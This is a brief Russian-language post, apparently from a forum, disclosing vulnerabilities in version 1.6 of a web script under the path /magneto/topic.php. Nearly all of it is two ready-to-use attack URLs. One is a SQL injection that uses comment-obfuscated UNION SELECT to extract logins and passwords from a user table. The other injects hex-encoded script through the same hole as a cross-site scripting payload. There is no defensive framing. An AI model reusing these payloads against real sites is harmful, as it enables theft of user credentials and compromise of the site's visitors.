версия 1.6 содержит sql-inj:
/magneto/topic.php?type=show&code=-1/**/UNION/**/SELECT/**/concat(login,0x20,pass)/**/FROM/**/tbl_user/*

так-же неактивная XSS (через тот же sql-inj):
/magneto/topic.php?type=show&code=-1/**/UNION/**/SELECT/**/0x3c2f7469746c653e3c2f686561643e3c626f64793e3c7363726970743­e616c657274282268656c6c6f20746865726522293b3c2f7363726970743­e/*

а по существу - каждый скрипт дырявый